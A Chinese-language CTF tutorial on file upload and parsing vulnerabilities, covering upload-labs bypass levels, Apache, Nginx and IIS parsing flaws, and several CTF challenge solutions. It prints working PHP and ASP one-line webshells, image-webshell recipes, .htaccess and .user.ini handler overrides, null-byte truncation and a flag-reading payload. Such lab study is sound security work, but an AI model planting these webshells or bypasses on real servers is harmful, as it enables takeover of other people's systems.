文件上传和解析漏洞的原理、条件、比赛时的各种绕过方法

文件上传

原理

web应用对用户上传的文件没有严格的过滤,当用户上传木马文件,就会导致服务器被控制

条件

1)有文件上传的功能

2)上传的那个目录有执行权限,可以解析文件

3)能够访问上传的文件

防御

1)上传文件的目录不给执行权限

2)文件后缀白名单

3)上传文件路径不可访问

webshell

一句话木马

复制代码
<?php eval($_POST["1"]);?>

eval函数可以运行命令

专用工具连接

蚁剑,在客户端运行shell命令

大马

功能都在代码里面,不需要工具连接,直接在服务器上运行shell命令

不好做免杀,容易被发现

比赛时的常见利用方法

1.绕过前端 js 检测上传

pass-01

在文件上传时,有些网站会对前端文件名进行验证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器。

代码分析

客户段 html 上传文件时会调用 checkFile 函数,首先获取文件后缀名。

具体方法

方法1.

改浏览器的设置,然后就可以上传1.php

设置-> 隐私设置和安全性-> 网站设置->js->不允许

方法2.

把php文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp、 net 等。即可绕过上传。

(1)先把a.php改成a.jpg上传,获取post

(2)把后缀改了

(3)登录192.168.xxx.xxx/upload/a.php看结果

2.绕过 contnet-type 检测上传 (文件类型绕过)

pass-02

contnet-type只能上传图片,我们要上传PHP

分析代码

content-type 在客户端可被修改

首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png 即允许上传。

具体方法

上传文件,脚本文件,抓包把 content-type 修改成 image/jpeg (或 image/png或源代码里面写的某一个)即可绕过上传。

3.绕过黑名单上传

pass-03

后缀名在黑名单的列表内,文件将禁止文件上传。

代码分析

首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不在黑名单内,允许上传。

具体方法

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。

在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net 执行可以上传 ashx 代替 aspx。如果网站可以执行这些脚本,通过上传后门即可获取 webshell。

在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php,在 AddType application/x-httpd-php .php .phtml .php3,后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。

上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。

4.htaccess 重写解析绕过上传

pass-04

在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文件

要 htaccess 的规则生效则需要在 apache 开启 rewrite 重写模块 ,一般都开了的

代码分析

如果 submit 有值,$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。

但是还有一个 .hatccess 可以使用

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。用途范围主要针对当前目录。

具体方法

1.上传jpg的木马,发现不能查看

2.上传后缀为.htaccess的文件 到网站里,目的是为了把jpg识别成php

.htaccess 内容是:

复制代码
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

3.访问1.jpg的地址

5.大小写绕过上传

pass-05

有些模块对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp

代码分析

获取文件后缀名进行判断,如果后缀在这个字典里就禁止上传。

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx", ".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

具体方法

直接把a.php改成a.pHp,就可以上传了

6.空格绕过上传

pass-06

可以通过加空格进行上传,比如"1.php"不行,但"1.php " 可行(末尾加一个空格)

代码分析

7.利用 windows 系统特征绕过上传 (点绕过)

pass-07

在 windows 中文件后缀名. 系统会自动忽略.

比如shell.php 不行,但shell.php.可以

代码分析

具体方法

​ 抓包修改在后缀名后加上.即可绕过

8.绕过内容检测

pass-13

getReailFileType 用于检测 jpg、png、gif 的文件头 ,如果上传的文件符合数字即可通过检测。

pass-14

getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马绕过检测。

图片马一

将1.jpg和1.php融合成2.jpg,其中1.jpg为普通图片,1.php为木马,因为融合的时候会占用位置,所以1.php里面的内容开头要空几格,防止一句话木马不完整。

复制代码
copy /b 1.jpg+2.php=3.jpg
生成图片后修改为3.jpg.php进行上传

这里上传的文件,访问时不可以直接被解析,所以需要结合文件包含漏洞来使用。

图片马二

也可以尝试直接修改文件头,写成1.jpg

复制代码
GIF89a
<script language='php'>@eval($_POST['1']);</script>
<script language='php'>phpinfo();</script>

然后直接访问也是没有解析的

结合文件包含

上面的文件上传成功后变成了gif 文件,我们还需要利用文件包含漏洞写一个 include.php 传入,再利用它来解析图片。

php 复制代码
#include.php
<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

然后访问

py 复制代码
include.php?file=upload/图片名称

这个url就可以解析上面上传的文件内容了

9.双写后缀名绕过上传

pass-10

在上传模块,有的代码会把黑名单的后缀名替换成空,替换其中的第一个,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。

代码分析

其中str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。

具体方法

直接把1.php文件后缀名改成 1.pphphp 即可绕过上传

10.目录可控get上传

pass-11

绕过白名单

代码分析

代码中使用白名单,只允许指定的图片格式。但是 _GET\['save_path'\]服务器接受客户端的值,这个值可被客户端修改。 img_path这个变量直接是拼接的,代表上传目录是可控的,可以使用 %00 截断后面的

具体方法

1.当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。

2.php 版本小于 5.3.4

上传a.jpg,抓包,在upload/后面加a.php%00,就可以上传了

11.目录可控 POST 绕过上传

pass-12

绕过白名单

代码分析

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。上面是 GET 请求的,可以直接在 url 输入%00 即可截断,但是在 post 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名。

具体方法

上传a.jpg,抓包,在upload/后面加a.php%00,然后把%00解码,就可以上传了

解析漏洞

Apache

一个文件名为test. php. aaa. bbb. ccc的文件,Apache会从ccc的位置往 php的位置开始尝试解析,如果ccc不属于Apache能解析的后缀名,那么 Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的扩展名为止。

1)存在漏洞的版本:apache 2.0-2.2 有可能存在 , php版本小于5.6

2)配置文件 : AddType application/x-httpd-php .php 需要开启

上传1.php.aaa.ccc文件,然后访问1.php.aaa.ccc即可

###Nginx

第一种

先上传一句话木马 1.jpg,然后构造 1.jpg/1.php 去访问它,发现其被当作 PHP 文件解析。

这是由于 Nginx 把以 .php 结尾的文件交给 fastcgi 处理,但 fastcgi 处理的时候发现并没有这个文件,于是 fastcgi 会继续向上查找,然后找到了上级文件 .jpg,于是就把 .jpg 当作 PHP 文件处理,导致漏洞产生。

第二种

对低版本的Nginx可以在任意文件名后面添加%00.php进行解 析攻击。uploads/1.jpg%00.php 当做正常脚本执行

• Nginx 0. 5. *

Nginx 0. 6. *

•Nginx 0. 7 <= 0. 7. 65 Nginx 0. 8 <= 0. 8. 37

第三种

• Nginx 0.8. 41 〜1.4. 3 ; 1. 5 <= 1. 5. 7:

•在linux系统里,以上Nginx容器的版本下

uploads/1.jpg%20%00.php 当做正常脚本执行

IIS

1)新建一文件名字为:1.asp;1.jpg

此文件会当成脚本运行,IIS6.0

2)新建一个文件夹,1.asp ;

那么在这个文件夹里的内容全部会被当场脚本取运行。IIS6.0

3)服务器配置错误(put 协议),IIS6.0

4)上传一句话木马 1.jpg,然后构造 1.jpg/1.php 去访问它,其可被当作 PHP 文件解析,IIS7.0.7.5

文件解析漏洞

原理:*.asp;.xxx像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。

在 IIS5.x/6.0 中, 分号后面的不被解析,xx.asp;.jpg 会被服务器看成是xx.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

靶机:2k3_SP2 tys@123!

开启:Active server pages(asp解析功能)

在目标网站目录下创建1.asp;.jpg

写入一句话木马

复制代码
<%eval request("1")%>

蚁剑连接,密码为1

目录解析漏洞

在 IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 1.asp,那么 /1.asp/1.jpg 将被当做asp文件来执行.

1)创建asp目录

将木马复制到1.asp目录

2)蚁剑连接

put协议

创建或替换资源:如果资源不存在,则创建;如果资源已存在,则替换。

上传文件:通过 PUT 方法将文件上传到服务器的指定位置。

危害

未授权文件上传

覆盖系统文件

一些在线例题

1、[极客大挑战 2019]Upload

文件上传

发现只能上传图片,并且会识别到上传文件有"<?",就不能用普通木马

用b.jpg,绕过文件头检测,可以直接上传

发现用蚁剑连不上

所以用把jpg后缀改成phtml,上传时抓包,修改Content-Type: image/jpeg

然后就可以连了

2、[ACTF2020 新生赛]Upload

文件上传

是前端验证,上传b.jpg,抓包改成php,发现没有回显,改成phtml就可以了

访问这个地址就可以了

3、[MRCTF2020]你传你🐎呢

文件上传

不是前端检测,抓包改成phtml也不行,

上传.htaccess,要把类型改成image/jpeg

然后上传jpg就可以了,这里不知道为什么不能木马直接返回flag,所以用蚁剑

4、[SUCTF 2019]CheckIn

文件上传

复制代码
# .xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件
# 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

# 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样

这里先上传一个.user.ini

复制代码
GIF89a
auto_prepend_file=b.jpg

然后在上传一个图片马

这里注意上面的是1.jpg,那么下面上传的就是b.jpg

复制代码
GIF89a
<script language='php'>system('cat /flag');</script>

根据提示,访问

复制代码
/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php
相关推荐
Whoami!2 小时前
❾⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 防病毒软件概述(下)
网络安全·信息安全·防病毒软件
unable code2 小时前
攻防世界-Misc-2-1
网络安全·ctf·misc
weixin_307779132 小时前
基于AWS Shield Advanced的自我管理DNS服务DDoS防护方案
网络安全·云计算·aws
m0_738120724 小时前
应急响应——知攻善防Web-3靶机详细教程
服务器·前端·网络·安全·web安全·php
敲敲了个代码12 小时前
隐式类型转换:哈基米 == 猫 ? true :false
开发语言·前端·javascript·学习·面试·web
llxxyy卢12 小时前
逻辑越权之水平垂直越权
web安全·web
sg_knight13 小时前
拥抱未来:ECMAScript Modules (ESM) 深度解析
开发语言·前端·javascript·vue·ecmascript·web·esm
冰敷逆向15 小时前
苏宁滑块VMP深入剖析(一):解混淆篇
javascript·爬虫·安全·web